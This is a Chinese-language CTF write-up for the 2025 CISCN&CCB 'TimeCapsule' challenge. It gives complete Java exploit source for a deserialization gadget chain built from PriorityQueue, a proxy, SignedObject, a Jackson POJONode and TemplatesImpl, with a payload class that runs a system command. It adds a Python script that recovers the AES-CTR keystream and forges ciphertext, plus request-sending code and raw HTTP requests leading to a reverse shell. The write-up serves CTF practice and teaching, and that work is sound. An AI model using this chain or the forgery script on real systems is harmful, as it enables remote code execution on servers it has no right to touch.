2025 CISCN&CCB TimeCapsule详细解题过程
记录了2025 CISCN&CCB TimeCapsule的体会和心得
1、环境搭建
用jadx-1.5.1把jar包打开
将源码全部保存

得到resource和source目录
source目录下为源码,需要删除除正常业务以外的依赖源码,仅保存com.ctf代码

resource为资源,相关依赖包存放在resource/BOOT-INF/lib下

如果8080端口被占用

可以这样修改,红框的内容可能有的idea没有,点修改选项,然后添加就行。

2、链子分析

发现在/capsules/import路由下面有反序列化操作

然后有黑名单

发现有一个,继承InvocationHandler代理和Serializable反序列化的工具类
也就是说,当我们触发readobject的时候是允许我们走到这个工具类的

这个方法实际上就是限定了你的前缀是get
那么经常打二次反序列化不难想到signobject链子是需要触发getobject的
链子后半段
因为有h2、jackson,而且还是jdk8版本
这里我是直接打signobject二次反序列化的jackson依赖
链子
signobject#getobject
signobject#readobject
BadAttributeValueExpException#readobject
POJONode#toString
BaseJsonNode#toString
InternalNodeMapper#nodeToString
ObjectWrite#writeValueAsString
Templateslmpl#恶意字节码具体代码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
byte[] payloads = Files.readAllBytes(Paths.get("恶意字节码绝对路径TestTemplatesImpl.class"));
Templates templatesImpl = new TemplatesImpl();
setValue(templatesImpl, "_bytecodes", new byte[][]{payloads});
setValue(templatesImpl, "_name", "aaaa");
setValue(templatesImpl, "_tfactory", null);
POJONode po1= new POJONode(makeTemplatesImplAopProxy(templatesImpl));
BadAttributeValueExpException ba1= new BadAttributeValueExpException(1);
setValue(ba1,"val",po1);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new java.security.SignedObject(ba1, privateKey, signingEngine);链子前半段
当时侯看到这个是想利用hashmap然后走到proxy.equals去触发invoke的,但是发现hashcode也有一个invoke方法,而且要比代理类那个提前触发,导致我们走不到getobject
为解决这个问题,我们可以想到CC2的PriorityQueue,让其中的comparator方法做代理,会在反序列化的时候被调用,然后就会执行invoke方法,成功执行恶意代码。
其实简单来讲,我们这里就是使用动态代理中的invok()方法代替了CC2中的
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()前面半条链,因为项目中并没有引入commons-collections4的jar包,也就没有TransformingComparator和InvokerTransformer类。
所以前半条链可以是
PriorityQueue#readObject() ->
PriorityQueue#heapify() ->
PriorityQueue#siftDown()->
PriorityQueue#siftDownUsingComparator() ->
proxy.compare(TemplatesImpl) ->
fieldGetterHandler#invoke() ->
signobject#getobject->EXP部分
整合之后的exp是
/**
* @className Exp
* @Author shushu
* @Data 2025/3/17
**/
package com.ctf.util;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.*;
import static org.shu.EXP.makeTemplatesImplAopProxy;
public class Exp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
byte[] payloads = Files.readAllBytes(Paths.get("C:\\removeDisk\\ideProject\\JavaProject\\learn\\CCchainLearn\\target\\classes\\ExpClass\\TestTemplatesImpl.class"));
Templates templatesImpl = new TemplatesImpl();
setValue(templatesImpl, "_bytecodes", new byte[][]{payloads});
setValue(templatesImpl, "_name", "aaaa");
setValue(templatesImpl, "_tfactory", null);
POJONode po1= new POJONode(makeTemplatesImplAopProxy(templatesImpl));
BadAttributeValueExpException ba1= new BadAttributeValueExpException(1);
setValue(ba1,"val",po1);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new java.security.SignedObject(ba1, privateKey, signingEngine);
//上面的就是二次反序列化然后
//反射更改fieldName属性的值
FieldGetterHandler fieldGetterHandler = new FieldGetterHandler();
setValue(fieldGetterHandler, "fieldName","Object");
Comparator invocationHandler = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, fieldGetterHandler);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Object[] queue = {signedObject,signedObject};
setValue(priorityQueue,"comparator",invocationHandler);
setValue(priorityQueue,"queue",queue);
String bytes = serialize(priorityQueue);
System.out.println(bytes);
unserialize(bytes);
}
//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}
//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new SafeObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
// o.equals(new String());
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
TestTemplatesImpl.class
/**
* @className TestTemplatesImpl
* @Author shushu
* @Data 2025/2/12
**/
package ExpClass;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TestTemplatesImpl extends AbstractTranslet {
public TestTemplatesImpl() {
super();
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}这里是为了验证链子能否绕过,直接新建了一个路由,然后把base64的恶意字节进行反序列化。

成功召唤计算器

fix
那么其实到这里我们直接把代理类的invoke方法置空就行,就可以过check了
3、题目后半部分——break
当你以为题目就这么简单结束的时候,错了。
因为他还有一部分是密码的。
看看密码的工具类:
public static String encrypt(byte[] data, SecretKey key) throws Exception {
Cipher cipher = Cipher.getInstance("AES/CTR/NoPadding");
byte[] iv = new byte[16];
SecureRandom.getInstanceStrong().nextBytes(iv);
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(1, key, ivSpec);
byte[] encrypted = cipher.doFinal(data);
byte[] combined = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, combined, 0, iv.length);
System.arraycopy(encrypted, 0, combined, iv.length, encrypted.length);
return Base64.getEncoder().encodeToString(combined);
}
public static byte[] decrypt(String base64Data, SecretKey key) throws Exception {
byte[] combined = Base64.getDecoder().decode(base64Data);
byte[] iv = new byte[16];
byte[] encrypted = new byte[combined.length - 16];
System.arraycopy(combined, 0, iv, 0, iv.length);
System.arraycopy(combined, iv.length, encrypted, 0, encrypted.length);
Cipher cipher = Cipher.getInstance("AES/CTR/NoPadding");
cipher.init(2, key, new IvParameterSpec(iv));
return cipher.doFinal(encrypted);
}这里的
Cipher cipher = Cipher.getInstance("AES/CTR/NoPadding");意思是使用 AES 算法、CTR 模式 和 不使用填充。
那么什么是CTR模式呢?
它是一种通过将逐次累加的计数器进行加密来生成密钥流的流密码。最终的密文分组是通过将计数器加密的到的比特序列,与明文分组进行XOR而得到的。
CTR加密

CTR解密

encrypt方法
传入进去的是byte[]数组和key,
然后核心加密的内容是这段代码
byte[] combined = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, combined, 0, iv.length);
System.arraycopy(encrypted, 0, combined, iv.length, encrypted.length);意思是创建一个新数组 combined,其长度是 IV 和加密数据的总长度。
使用 System.arraycopy 方法将 IV 和加密后的数据复制到 combined 数组中:
将 IV 复制到 combined 的前面。将加密后的数据复制到 combined 的后面。

大概就是这么个事
decrypt方法
decrypt方法传入进去的是base64数据和key
使用了密文的前16字节做为iv ,然后对密文进行下一步的解密。
目前的情况
目前的路由就是
/capsules
传入的是恶意的字节流,base64编码的内容
/capsules/{id}/export路由会加密一个反序列化数据然后把那个加密后的数据返回
这个数据称作原密文
而这个加密之前称做原明文,并不是我们的base64编码的内容
/capsules/import
得到的base64就往这里面去传完成序列化。这里的原明文怎么拿到呢?很简单其实
新建一个路由,然后把
CryptoUtils.encrypt(bos.toByteArray(), key);
替换成
Base64.getEncoder().encodeToString(bos.toByteArray());
即可
@GetMapping({"/capsules/{id}/plaintext"})
public String exportCapsulereal(@PathVariable Long id, Authentication authentication) throws Exception {
User user = (User)this.userRepository.findByUsername(authentication.getName()).orElseThrow(() -> {
return new RuntimeException("User not found");
});
TimeCapsule capsule = (TimeCapsule)this.capsuleRepository.findById(id).orElseThrow(() -> {
return new RuntimeException("Capsule not found");
});
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(capsule);
oos.close();
// SecretKey key = new SecretKeySpec(Base64.getDecoder().decode(user.getSecretKey()), "AES");
return Base64.getEncoder().encodeToString(bos.toByteArray());
}那么就是原明文、原密文是已知的、iv是可控的,那这个就很容易去联想到AES-CBC字节翻转攻击

我利用GPT搓了一个脚本出来

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from base64 import b64decode
def xor_bytes(b1, b2):
return bytes(a ^ b for a, b in zip(b1, b2))
# 示例数据
iv = b'\x00' * 16 # 假设 IV 为 16 个零字节
key = b'\x00' * 32 # 假设密钥为 32 个零字节(256 位)
ciphertext = b64decode('QbkOqUl868RfOoe9CrKV6MuorM0nQAA0RTQXEAfgANeA==') # 示例密文(Base64 编码)
plaintext = b'Your plaintext data here.' # 示例明文
# 创建 AES-CTR 模式的 Cipher 对象
cipher = Cipher(algorithms.AES(key), modes.CTR(iv), backend=default_backend())
encryptor = cipher.encryptor()
# 生成密钥流并验证
generated_keystream = b''
for i in range(0, len(ciphertext), 16):
block_ciphertext = ciphertext[i:i+16]
block_plaintext = plaintext[i:i+16]
block_keystream = xor_bytes(block_plaintext, block_ciphertext)
generated_keystream += block_keystream
# 输出生成的密钥流
print('Generated Keystream:', generated_keystream)
这个脚本有了一个大概样子,但是需要修改一下
1、key用不到,因为我们是根据异或去生成密钥流的
2、iv为密文的前16个字节,加密数据为密文16个字节往后的数据
3、AES-CTR 模式的 Cipher 对象也用不上删掉
4、generated_keystream应该是为一个数组,然后每16个字节存放一个位置大概就是
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from base64 import b64decode
def xor_bytes(b1, b2):
return bytes(a ^ b for a, b in zip(b1, b2))
# 示例数据
ciphertext = b'Your ciphertext data here.' # 示例原密文
plaintext = b'Your plaintext data here.' # 示例原明文
iv = ciphertext[:16]
ciphertext=ciphertext[16:]
# 生成密钥流并验证
generated_keystream = []
for i in range(0, len(ciphertext), 16):
block_ciphertext = ciphertext[i:i+16]
block_plaintext = plaintext[i:i+16]
block_keystream = xor_bytes(block_plaintext, block_ciphertext)
generated_keystream.append(block_keystream)
# 输出生成的密钥流
print('Generated Keystream:', generated_keystream)我们密钥流已经有了
那么我们应该怎么去构造我们的任意密文呢?
其实我们的想法就是把恶意的base64数据通过密钥流来加工成密文
所以我们拿密钥流的每16个字节跟明文的每16个字节异或一次即可
具体就是
tarPlaintext=b''#传入/capsules路由的base64恶意字节流
tarPlaintext=b64decode(tarPlaintext)
#
newCiphertext=b''
for i in range(0,len(ciphertext),16):
newCiphertext+=xor_bytes(generated_keystream[i//16],tarPlaintext[i:i+16])
# 最后加上偏移量就成为我们的密文了
newCiphertext=iv+newCiphertext但是经过我测试发现还是没办法生成我们想要的密文,因为没办法确定tarPlaintext、ciphertext、plaintext一定就为16的倍数
那么我们用一个min函数来取剩下的数据即可
最后的脚本就是
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from base64 import b64decode
import base64
def xor_bytes(b1, b2):
return bytes(a ^ b for a, b in zip(b1, b2))
# 示例数据
ciphertext = b'Your ciphertext data here.' # 示例原密文
plaintext = b'Your plaintext data here.' # 示例原明文
ciphertext = b64decode(ciphertext) # (Base64 编码)
plaintext = b64decode(plaintext) # (Base64 编码)
iv = ciphertext[:16]
ciphertext=ciphertext[16:]
generated_keystream = []
for i in range(0, len(ciphertext), 16):
block_ciphertext = ciphertext[i:min(i+16,len(ciphertext))]
block_plaintext = plaintext[i:min(i+16,len(plaintext))]
block_keystream = xor_bytes(block_ciphertext,block_plaintext)
generated_keystream.append(block_keystream)
# 输出生成的密钥流
print('Generated Keystream:', generated_keystream)
tarPlaintext=b''
tarPlaintext=b64decode(tarPlaintext)
#
newCiphertext=b''#传入/capsules路由的base64恶意字节流
for i in range(0,len(ciphertext),16):
newCiphertext+=xor_bytes(generated_keystream[i//16],tarPlaintext[i:min(i+16,len(tarPlaintext))])
# 最后加上偏移量就成为我们的密文了
newCiphertext=iv+newCiphertext
# 输出生成的密文
print('Generated Ciphertext:', base64.b64encode(newCiphertext))这里测试发现得用python发包才能执行命令,
发包exp
import requests
session = requests.Session()
url="http://192.168.0.101:55555/api/capsules/import"
cook={"JSESSIONID":"9FEE8F6B5330CE70418691604D397C40"}
headers={
"Authorization":"Basic YWRtaW4xMjM6YWRtaW4xMjM=",
"Content-Type": "application/json",
"Cookie":"JSESSIONID=9FEE8F6B5330CE70418691604D397C40",
}
data=b'修改后的任意密文'
res=session.post(url, headers=headers, data=data,cookies=cook)
print(res.text)成功召唤出计算器

4、复现整到题目
1、注册
POST /api/register HTTP/1.1
Host: 127.0.0.1:55555
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 45
{"username":"admin123","password":"admin123"}2、加载恶意字节码
POST /api/capsules HTTP/1.1
Host: 127.0.0.1:45412
Cache-Control: max-age=0
Authorization: Basic YWRtaW4xMjM6YWRtaW4xMjM=
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7E45B5491F7F134DE561EFCFBF1FB280
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 17184
base64恶意字节码的URL编码
3、导出原明文
这个导出原名文是在本地中拿到的
POST /api/capsules HTTP/1.1
Host: 127.0.0.1:55555
Cache-Control: max-age=0
Authorization: Basic YWRtaW4xMjM6YWRtaW4xMjM=
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=9FEE8F6B5330CE70418691604D397C40
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 16848
base64恶意字节码的URL编码
然后访问

4、导出原密文

5、生成新密文
运行python脚本即可
6、反弹shell命令执行
